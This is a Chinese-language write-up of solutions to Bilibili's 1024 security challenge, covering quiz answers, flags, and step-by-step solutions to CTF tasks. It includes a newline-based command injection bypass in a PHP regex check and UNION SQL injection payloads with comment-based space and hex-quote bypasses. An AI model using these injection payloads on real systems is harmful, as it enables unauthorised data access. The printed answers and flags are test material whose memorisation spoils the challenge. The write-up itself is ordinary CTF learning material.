1024活动。链接https://security.bilibili.com/sec1024/
挑战赛的原创&首发。干到哪写到哪,反正写不完.......
算法与安全答题
问题顺序答案随机,对照答案即可
8位以上包含数字密码
邮件中网址可以任意点击
熟人号码即使是凌晨深夜,也要回拨确认
检查自己注册过的网站
先向好友确认是否发送链接
只要不访问互联网
2种稳赢可能性
4根
11,24
对称加密算法
42
6787
题中选项皆有可能
远程控制软件
6次
25002550
593
2017年6月1日
x正比于根号n增加
15瓶药
安全攻防挑战赛
第一题 两行字符拼成一行然后aes解密即可
密码在题目里也给出了
第二题 目标网址找flag
f12 sources,找到webpack/src/view的home.vue,藏注释里
第三题 PHP是世界上最好的语言
按网页上的说明下载eval.php
可以看到正则/^\w+$/,只允许数字和字母,并且args不能接收三条以上参数,最终exec执行空格分割的命令且回显
/^\w+$\中的$当遇到一个字符串的结尾是换行符(%0a)时还是可以匹配的,我们可以利用这一个特性,在eval.php使用参数args[]=1%0a&args[]=xxxx,等于最终执行“/bin/2233 1换行xxxx“
即我们让原本构造的语句执行了,多出来的(即自己塞的)也能在exec里执行,可以知道实际执行了两行
/bin/2233 1
xxxx
过程思路就这样,然后就可以用自己的linux命令了
当前目录命令ls
flag在passwd里,其他就不看了,所以直接cat passwd
第四题 注入
目标网址https://security.bilibili.com/sec1024/q/ 和第二题是一样的
翻翻网页上的按钮,点左侧日志信息时看F12-Network,可看到发送了一个list日志请求,这里从日志api入手
日志api https://security.bilibili.com/sec1024/q/admin/api/v1/log/list
绕过空格过滤尝试通过且回显,下面为post参数
{
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
"action": "",
"page": 1,
"size": 20
}
获取表名(自行将下面sql替换进上面的格式,下面的下面也是)
1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
可以看到有三张表flag,log,user
获取flag表的字段,由于不能引号所以用十六进制绕过,flag十六进制即 666c6167
1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#
可以看到只有一个字段,id
最后直接拿下flag
1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#
第五题
下个JADX,丢apk进去直接看,比较明了
Encrypt是加密过程,MainActivity里的两串字符拿去按Encrypt里的反向操作一次即可
即一次base64解码一次异或3,两串可合成一串flag
// var b = new String(Encrypt.a(Encrypt.b(obj2), 3));
// var b2 = new String(Encrypt.a(Encrypt.b(obj), 3));
516834cc-50e448af
bcf9ed53-9ae4328e
最终结果 516834cc-50e448af-bcf9ed53-9ae4328e
第六题 ida逆向so
这个逆向本人不怎么会,思路及过程参考下图
flag:b13981f4-5ae996d4-bc04be5b-34662a78
第七题 风控
靠次数筛出来ip可以得10分,自己写个脚本或者拿工具统计一下,也可以导数据库按ip请求数排序
这里也只能给出10分参考答案,多几个或少几个都是10分,因为不清楚10分到底差在哪
jj.bdc.bbb.cc,dc.bb.ii.jj,cde.ced.bbb.dd,cdd.bcc.bg.bib,cd.bb.cai.cbh,cd.baf.cae.cbc,bfh.ff.dj.jf,bfh.ff.dj.ig,bfh.ff.dj.fb,bfh.ff.dj.bd,bfh.ff.dj.bcf,bbb.bb.bjd.bhf,bbb.bb.bjd.bhc,bbb.bb.bjd.bha,bbb.bb.bjd.bgc,bba.ja.ccb.cbc,bba.ja.cca.beg
写到这已经可以90分了,可获取所有瓜分,非要满分的话只能等慢慢研究了